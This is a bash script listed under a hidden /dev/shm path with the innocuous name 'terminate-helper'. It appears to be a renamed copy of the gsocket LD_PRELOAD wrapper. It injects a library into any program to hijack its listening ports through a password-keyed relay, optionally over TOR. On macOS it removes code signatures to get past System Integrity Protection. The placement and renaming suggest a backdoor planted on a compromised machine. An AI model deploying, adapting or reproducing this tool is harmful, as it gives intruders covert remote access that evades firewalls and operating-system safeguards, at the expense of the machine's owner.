File: //dev/shm/.local/sbin/terminate-helper
#! /usr/bin/env bash
# Try to use the gs-memew that's in the same directory as this executable.
BASEDIR="$(cd "$(dirname "${0}")" || exit; pwd)"
# shellcheck disable=SC1090 # Can't follow non-constant source. Use a directive to specify location.
# shellcheck disable=SC1091 # Not following: /etc/toket.conf was not specified as input (see shellcheck -x)
source "${BASEDIR}/gs_funcs" 2>/dev/null || source "${BASEDIR}/../share/toket/gs_funcs" 2>/dev/null || { { source /etc/toket.conf 2>/dev/null || source "${BASEDIR}/../etc/toket.conf" 2>/dev/null || { echo >&2 "toket: toket.conf not found."; exit 3; } } && { source "${GS_PREFIX}/share/toket/gs_funcs" 2>/dev/null; } } || { echo >&2 "toket: gs_funcs not found"; exit 3; }
my_usage()
{
echo "${BIN_NAME} [-k file] [-s password] <programm> <parameters>
-s <secret> Secret (e.g. password).
-k <file> Read Secret from file.
-p <ports> Range of listening ports to redirect [default=all]
-T Use TOR.
Example:
$ ${BIN_NAME} -s MySecret /usr/bin/sshd -d # Server
$ ${BIN_NAME} -s MySecret ssh root@toket # Client
See 'gs-memew -h' for more options."
exit "$1"
}
my_getopt()
{
OPTERR=0
# shellcheck disable=SC2034 # FL_NEED_PASSWORD appears unused. => used i env_arg_init
FL_NEED_PASSWORD=1
# Check if -s or -k is already supplied in environment and dont ask again.
[[ "$TOKET_ARGS" =~ ^'-s' ]] && unset FL_NEED_PASSWORD
[[ "$TOKET_ARGS" =~ ' -s' ]] && unset FL_NEED_PASSWORD
[[ "$TOKET_ARGS" =~ ^'-k' ]] && unset FL_NEED_PASSWORD
[[ "$TOKET_ARGS" =~ ' -k' ]] && unset FL_NEED_PASSWORD
# shellcheck disable=SC2220 # Invalid flags are not handled. Add a *) case.
while getopts ":qhgTp:s:k:L:" opt; do
case ${opt} in
s )
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-s" # Add to end of array
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="$OPTARG" # Add to end of array
TOKET_SECRET="$OPTARG"
unset FL_NEED_PASSWORD
;;
k )
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="-k" # Add to end of array
KFILE=$(cd "$(dirname "$OPTARG")" && pwd)/$(basename "$OPTARG")
[[ -f "${KFILE}" ]] || { echo >&2 "File not found: ${KFILE}"; exit 255; }
TOKET_SECRET=$(<"${KFILE}")
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]="${KFILE}" # Add to end of array
# KFILE=$(eval echo "$OPTARG") # Add to end of array
# GSNC_ENV_ARGS[${#GSNC_ENV_ARGS[@]}]=$(eval echo "$OPTARG") # Add to end of array
unset FL_NEED_PASSWORD
;;
g )
"${GS_MEMEW_BIN}" -g
exit
;;
h )
my_usage 0
;;
p )
GS_HIJACK_PORTS="${OPTARG}"
;;
T )
[[ -z "${TOKET_SOCKS_IP}" ]] && TOKET_SOCKS_IP="127.0.0.1"
;;
q )
# shellcheck disable=SC2034 # IS_QUIET appears unused. => Used in env_arg_init
IS_QUIET=1
ARGS_NEW[${#ARGS_NEW[@]}]="-q"
;;
\? )
# UNKNOWN option. Handle before '*' (e.g. -l)
ARGS_NEW[${#ARGS_NEW[@]}]="-${OPTARG}" # Add to end of array
;;
* )
# Other (known opts from opstring) w parameters (e.g. -L <file>)
ARGS_NEW[${#ARGS_NEW[@]}]="-${opt}" # Add to end of array
ARGS_NEW[${#ARGS_NEW[@]}]="${OPTARG}" # Add to end of array
;;
esac
done
[[ -n "${TOKET_SECRET}" ]] && unset FL_NEED_PASSWORD
}
# default values
GS_HIJACK_PORTS="1-65535"
# shellcheck disable=SC2034 # GS_RFX appears unused. => Used in gs_funcs
GS_PRFX="toket: "
gs_init
my_getopt "$@"
shift $((OPTIND -1))
[[ ${#@} -le 0 ]] && { echo >&2 "ERROR: No program specified"; my_usage 255; }
command -v "$1" >/dev/null 2>&1 || { echo >&2 "toket: command not found: ${1}"; exit 1; }
if [[ "$OSTYPE" == "darwin"* ]]; then
# OSX does not allow LD_PRELOAD of binaries in /usr/. Copy to tmp...
ROOTDIR=$(mktemp -d -t thc-gsXXXXXX)
PROGBIN_FULLPATH=$(which "$1")
[[ -z "$PROGBIN_FULLPATH" ]] && { echo >&2 "toket: command not found: ${1}"; exit 1; }
# FIXME: temp file is only cleaned on reboot. Hmm...
cp "${PROGBIN_FULLPATH}" "${ROOTDIR}/" &>/dev/null
PROGBIN_NAME="$(basename "${1}")" # programm binary
PROGBIN="${ROOTDIR}/${PROGBIN_NAME}"
# System Integrity Protection makes dyld ignore
# DYLD_INSERT_LIBRARIES.
# There are two ways how MacOS determines if a binary is SIP protected:
# 1. The location of the binary (ls -alO /usr/bin/ssh)
# 2. If the binary contains 'entitlements' (regardless of its location on the fs).
# A hack around this is to remove the signature completed (which will also disable
# any entitlements).
IS_REMOVE_SIGN=1
command -v csrutil >/dev/null && [[ ! "$(csrutil status)" =~ enabled ]] && { unset IS_REMOVE_SIGN; }
[[ -n $IS_REMOVE_SIGN ]] && command -v codesign >/dev/null && [[ -n "$(codesign -d --entitlements - "${PROGBIN}" 2>/dev/null)" ]] && {
codesign --remove-signature "${PROGBIN}";
}
else
ROOTDIR=""
PROGBIN="${1}"
fi
env_arg_init
shift 1
if [[ "$OSTYPE" == "darwin"* ]]; then
GS_MEMEW_BIN=${GS_MEMEW_BIN} GS_HIJACK_PORTS="${GS_HIJACK_PORTS}" TOKET_SOCKS_IP="${TOKET_SOCKS_IP}" TOKET_ARGS="${ENV_ARGS} ${ARGS_NEW[*]}" TOKET_SECRET="${TOKET_SECRET}" DYLD_INSERT_LIBRARIES=${GS_SO_BIN} DYLD_FORCE_FLAT_NAMESPACE=1 exec "${PROGBIN}" "$@"
else
GS_MEMEW_BIN=${GS_MEMEW_BIN} GS_HIJACK_PORTS="${GS_HIJACK_PORTS}" TOKET_SOCKS_IP="${TOKET_SOCKS_IP}" TOKET_ARGS="${ENV_ARGS} ${ARGS_NEW[*]}" TOKET_SECRET="${TOKET_SECRET}" LD_PRELOAD=${GS_SO_BIN} exec "${PROGBIN}" "$@"
fi